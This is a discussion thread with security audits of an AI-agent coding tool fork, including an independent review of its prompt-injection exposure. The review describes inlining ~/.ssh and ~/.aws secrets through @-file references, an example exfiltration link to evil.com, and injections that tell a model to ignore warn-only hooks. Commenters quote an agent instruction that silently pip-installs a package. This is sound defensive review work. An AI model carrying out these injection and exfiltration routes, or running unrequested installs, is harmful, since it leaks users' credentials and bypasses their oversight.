Security Audit Transparency Report (2026-05-22)

[trek-e]

Security Audit Transparency Report

Date: 2026-05-22
Repo: gsd-redux/get-shit-done-redux

We completed a codebase security audit after a potential malicious-actor concern. This post is for transparency on what was checked, what was found, and what follow-up work is now tracked.

What We Audited

• Dependency vulnerability status (root + SDK)
• Secret scanning, prompt-injection scanning, base64-obfuscation scanning
• Security-focused test suites and adversarial fixtures
• Subprocess/shell invocation surfaces and path/input validation controls
• Workspace integrity signals relevant to incident response

High-Level Result

• No confirmed active exfiltration payload in tracked source during this pass.
• Vulnerability audit reported 0 known vulns in root and SDK at scan time.
• Security tests executed in this run passed (293/293).

Findings

1. Malicious markdown-link payloads are currently out-of-scope for injection scanner detection.
2. Dependency integrity drift was observed in local environment state (npm ls invalid state), requiring stronger integrity gates.
3. Secret-scan exclusions need stronger governance to reduce blind spots.
4. Base64 scanner reliability needs hardening for non-UTF8/locale edge cases.

Follow-up Issues

Findings

• security: detect malicious markdown link payloads in injection scanning #113 security: detect malicious markdown link payloads in injection scanning
• security: enforce dependency integrity baseline (npm ls invalid/extraneous gate) #114 security: enforce dependency integrity baseline (npm ls invalid/extraneous gate)
• security: tighten secret-scan exclusions and add exclusion governance #115 security: tighten secret-scan exclusions and add exclusion governance
• security: harden base64-scan for non-UTF8 and locale edge cases #116 security: harden base64-scan for non-UTF8 and locale edge cases

Next steps (org + environment build-out)

• chore: establish reproducible npm environment bootstrap for contributors #117 chore: establish reproducible npm environment bootstrap for contributors
• chore: define org-level security baseline for npm + repo migration #118 chore: define org-level security baseline for npm + repo migration

Notes

This report reflects the repository state and local environment observed on May 22, 2026. We will update progress publicly through the linked issues.

[Kile-Thomson]

Chiming in as a third party. We've all unfortunately been let down here, whilst the existing maintainer team now taking over seem to be stellar people, self-analysis, given the situation, mightn't carry the weight that it usually would.

I encourage everyone to use due caution and satisfy their own curiosity to audit of their own accord. I have used my own tooling here that is deployed in many 10s of large, high surface area public codebases; use your own too if you have any, the more angles of observation the better for everyone.

This isn't meant to be apprehensive or accusatory, rather, a supporting handshake on a job well done and more positive voices in the middle of an average time. Much love for the core guys.

---

RokketSec -- Independent Security Review

Target: gsd-redux/get-shit-done-redux (community fork of abandoned gsd-build/get-shit-done)
Date: 2026-05-23
Reviewer: RokketSec (independent, no affiliation with GSD Redux team)
Scope: Full source audit of current main, supply chain, git forensics, input handling, auth boundaries

---

Executive Summary

The Redux team's own security report (Discussion #119, 22 May 2026) claims four findings, zero active exfiltration payloads, and 293 passing security tests. Our independent review broadly confirms these claims but identifies additional attack surface the report either downplayed or missed entirely.

No backdoors or active malicious payloads were found. The codebase shows genuine security awareness -- shell: false on subprocesses, argv-array patterns, commit message sanitization, and regression tests for a prior shell injection bug. The rug-pull damage, if any, lives upstream in gsd-build, not in this fork.

However, the single highest-risk issue isn't in the code at all -- it's that the previous developer still holds the npm registry keys for the original package. And beyond that, the project has a structural tension at its core: it hands LLM agents unrestricted shell and filesystem access, then relies on advisory-only guardrails to keep them honest. Both are worth understanding before you trust it with your projects.

---

Findings

1. NPM Registry Keys Remain With Previous Developer

Severity: High | Not in Redux report

The Redux team does not hold the npm publish keys for the original package. The previous developer retains the ability to push an update to the original npm registry entry at any time. Anyone still installing from the original package name is trusting an individual who has already demonstrated willingness to abandon the project and community without notice. The Redux fork on GitHub is a separate codebase, but unless users have explicitly switched their package.json to point at the fork's registry (or install from git), npm install still resolves to the original, developer-controlled package.

This is the single highest-risk vector in the entire situation -- not because of what's in the code today, but because of what could land in it tomorrow via a registry update nobody asked for.

2. Advisory-Only Security Hooks -- No Teeth

Severity: Medium | Not covered in Redux report

Four hooks scan for prompt injection, out-of-scope writes, and read-before-write discipline. Every single one warns but never blocks. The prompt guard (hooks/gsd-prompt-guard.js) and injection scanner (hooks/gsd-read-injection-scanner.js) emit warnings into the same LLM context window the attack would occupy, meaning a sufficiently crafted injection can instruct the model to ignore the warning it just received.

This isn't a bug exactly -- it's an architectural choice. But it means the security hooks are speed bumps, not walls. The Redux report's "secret-scan governance" finding (#115) touches this peripherally, but doesn't name the real issue: there is no hard enforcement layer between an LLM agent and arbitrary shell execution.

3. @-File Reference Exfiltration

Severity: Medium | Not in Redux report

sdk/src/prompt-sanitizer.ts:44-55 resolves @~/... references by reading files under the user's home directory and inlining their contents into the prompt. An attacker who can influence file content that gets read into an agent session (a poisoned README, a malicious .planning/ artifact, a crafted git commit message) could embed @~/.ssh/id_rsa or @~/.aws/credentials on its own line. The LLM would dutifully inline those secrets into its context -- from there, exfiltration depends on what tools are available, but with Bash access, it's trivial.

4. Frontmatter Path Bypass

Severity: Medium | Not in Redux report

sdk/src/query/helpers.ts:530 -- resolveFrontmatterPath() explicitly skips the project-root containment check that resolvePathUnderProject() enforces. This is documented as intentional, but any code path that calls resolveFrontmatterPath instead of resolvePathUnderProject can read or write files outside the project boundary. One misrouted call turns this from "design choice" into "directory traversal."

5. Markdown Link Injection Gap

Severity: Medium | Matches Redux report finding #113

Confirmed. Neither injection scanner detects markdown link payloads ([text](data:...), [](https://evil.com/exfil?q=...), image injection via ![](...) with tracking pixels). The Redux team flagged this honestly and opened an issue. Credit where due.

6. Agent Permission Scope

Severity: Medium | Not in Redux report

The bundled agents (gsd-executor, gsd-debugger, gsd-code-fixer) request Bash, Read, Write, Edit, Grep, Glob -- effectively root-level access to the local machine within the user's permissions. Combined with Finding #2 (advisory-only hooks), a successful prompt injection gives an attacker full local code execution with no circuit breaker.

This is partly inherent to the "AI agent with shell access" paradigm, but worth naming explicitly because the Redux security report doesn't.

7. WebSocket Transport -- Unauthenticated

Severity: Low

sdk/src/ws-transport.ts:33 opens a WebSocket server on a user-specified port with no authentication. It's opt-in, localhost-only, and broadcast-only (no inbound commands). In practice, any local process can eavesdrop on GSD's event stream. Low risk for most setups, but on shared machines or in container environments with port forwarding, it's worth knowing about.

8. curl | bash in Setup Helper

Severity: Low | Not in Redux report

bin/install.js:277 pipes a remote script through bash to install fnm (Fast Node Manager). It's not auto-executed -- the user must explicitly run the install helper -- but it's the kind of pattern their own base64-scan.sh scanner is designed to flag. Slightly ironic.

---

What's Clean

Let's be fair about what checks out:

• No hardcoded secrets, no committed .env files. Secret scanning is comprehensive and CI-integrated.
• No eval(), new Function(), or code-from-string execution. Anywhere. That's good discipline.
• All subprocess calls use argv arrays, not shell strings. A prior shell injection bug (#3587) was properly fixed and has regression tests.
• SHA-256 only for hashing. No weak crypto.
• Zero npm audit vulnerabilities. Minimal dependency tree (3 direct deps, 164 total).
• Lockfile integrity is solid. All 164 packages have integrity hashes pointing to registry.npmjs.org.
• Git history is clean. The fork is a transparent, mechanical rebrand. No binary payloads, no suspicious commits, no identity spoofing. GPG-signed merge commits.
• Commit message sanitization strips null bytes, zero-width Unicode, and system prompt markers.

---

Assessment of the Redux Security Report

The Redux team's report is honest but incomplete. Their four findings are real, and they've opened tracking issues for each. The "no active exfiltration payload" claim checks out -- we found none either.

What the report misses is the systemic stuff: the npm registry ownership gap, the advisory-only enforcement model, the @-file exfiltration vector, the frontmatter path bypass, and the broad agent permissions. These aren't exotic bugs -- they're design-level trust boundaries that haven't been drawn yet. Understandable for a community team that just picked up an abandoned project, but important to name for anyone deciding whether to trust this tool with their codebase.

---

Recommendations

1. Secure or deprecate the original npm package name. Until the Redux team owns the registry entry (or npm transfers it), users must be explicitly warned to uninstall the original and install only from the fork. Consider requesting an npm package transfer or advisory.
2. Make at least the prompt injection hooks blocking for Write/Edit to sensitive paths. Advisory warnings in the same context window as the attack are security theatre.
3. Restrict @~/ resolution to an explicit allowlist of paths, or require user confirmation before inlining file contents from outside the project root.
4. Audit all callers of resolveFrontmatterPath() -- if any accept user-controlled input, they need the containment check.
5. Add authentication to the WebSocket transport if it's going to ship enabled -- even a shared secret via environment variable would help.
6. Document the agent permission model explicitly. Users should understand that gsd-executor has full shell access before they run it on a production codebase.

---

Bottom Line

This isn't a compromised codebase. The Redux team inherited a mess, cleaned it up transparently, and their security review is directionally correct. But "no active backdoors" and "secure" are different things. The most pressing risk isn't even in the source -- it's that the previous developer can still push to the original npm package at will, and most users won't have switched yet. Beyond that, the trust model of LLM agents with shell access guarded by advisory-only hooks has real gaps that a motivated attacker could exploit through prompt injection.

If you're going to use GSD Redux, understand what you're opting into: a tool that gives AI agents significant local access, with guardrails that advise rather than enforce. Make sure you're installing from the fork, not the original registry entry. For a personal dev machine running throwaway experiments, that's probably fine. For anything touching production credentials or sensitive repos, those trust boundaries need to harden first.

[rpgdev]

Is this RokketSec tool available publicly?

[trek-e]

for the NPM, we have created a new NPM org, as prior to this event GSD-2 NPMs keys were revoked. We assumed that was from the recent npm issues and that npm was revoking everyone's keys. The new org is https://www.npmjs.com/settings/opengsd/packages

We are scrambling to get new packages built, but unfortunately the old NPM is poisoned. I have done what I can with the access I had on the repo to close issues/close PRs with notifications. I have no idea how long that will last/if it will last.

we updated the readme on the main repo to indicate what we know as well.

[justai-net]

Thanks for putting this audit together. Wanted to surface one behavior I noticed while using GSD, in case it falls inside the "subprocess/shell invocation surfaces" scope you reviewed.

agents/gsd-phase-researcher.md line 275 includes this instruction:

pip install slopcheck --break-system-packages 2>/dev/null || pip install slopcheck 2>/dev/null || true

This runs during /gsd-plan-phase sessions. I noticed slopcheck v0.6.1 had been installed at ~/.local/lib/python3.10/site-packages on my machine without an explicit prompt during normal usage.

A couple of things I'd be curious about, and I might be missing context here:

1. The planner's threat model in gsd-planner.md line 487 lists pip install as a tampering surface requiring a "blocking human checkpoint for [ASSUMED]/[SUS]." Was the slopcheck install itself considered for the same checkpoint, or is it intentionally exempted?

2. The install resolves to whatever latest is on PyPI at the time, with no version pin or checksum. Would pinning fit the dependency-integrity direction in docs/security/baseline.md (section 2.1)?

Happy to file a separate issue with fuller evidence, or open a PR with a small change (checkpoint gate and version pin), if either would help.

[laurentf]

Thanks for putting this audit together. Wanted to surface one behavior I noticed while using GSD, in case it falls inside the "subprocess/shell invocation surfaces" scope you reviewed.

agents/gsd-phase-researcher.md line 275 includes this instruction:

pip install slopcheck --break-system-packages 2>/dev/null || pip install slopcheck 2>/dev/null || true

This runs during /gsd-plan-phase sessions. I noticed slopcheck v0.6.1 had been installed at ~/.local/lib/python3.10/site-packages on my machine without an explicit prompt during normal usage.

A couple of things I'd be curious about, and I might be missing context here:

1. The planner's threat model in gsd-planner.md line 487 lists pip install as a tampering surface requiring a "blocking human checkpoint for [ASSUMED]/[SUS]." Was the slopcheck install itself considered for the same checkpoint, or is it intentionally exempted?
2. The install resolves to whatever latest is on PyPI at the time, with no version pin or checksum. Would pinning fit the dependency-integrity direction in docs/security/baseline.md (section 2.1)?

Happy to file a separate issue with fuller evidence, or open a PR with a small change (checkpoint gate and version pin), if either would help.

I completely agree, i made an investigation to understand that. The .md silently install slopcheck https://github.com/0xToxSec/slopcheck since a commit (from the current maintainer so it's reassuring a little bit i guess) 3 weeks ago. It's a shady method and is a possible security break for later. It should be pinned and ask to be installed. Same for other packages like this. I made a short audit on slopchek, "seems" legit but if other people could check, would be nice.